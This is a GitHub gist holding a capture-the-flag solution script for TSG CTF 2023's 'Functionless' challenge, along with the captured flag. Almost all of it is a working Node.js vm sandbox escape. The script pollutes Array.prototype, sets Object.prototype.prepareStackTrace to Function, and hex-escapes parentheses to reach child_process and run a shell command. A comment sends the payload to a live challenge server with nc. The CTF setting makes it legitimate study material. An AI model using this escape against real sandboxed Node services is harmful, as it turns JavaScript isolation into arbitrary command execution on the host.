Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active November 6, 2023 14:08
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lebr0nli/120803dcd6b8c61c4aee7670cb1ad6f3 to your computer and use it in GitHub Desktop.
Save lebr0nli/120803dcd6b8c61c4aee7670cb1ad6f3 to your computer and use it in GitHub Desktop.
TSG CTF 2023 - Functionless (Misc)
let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {
const vm = require("node:vm");
const context = vm.createContext(undefined, {
codeGeneration: {
strings: false,
},
});
console.log(vm.runInContext(code, context));
}
// node solve.js | nc 34.84.217.62 30002
// TSGCTF{i_like_functional_programming_how_about_you}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment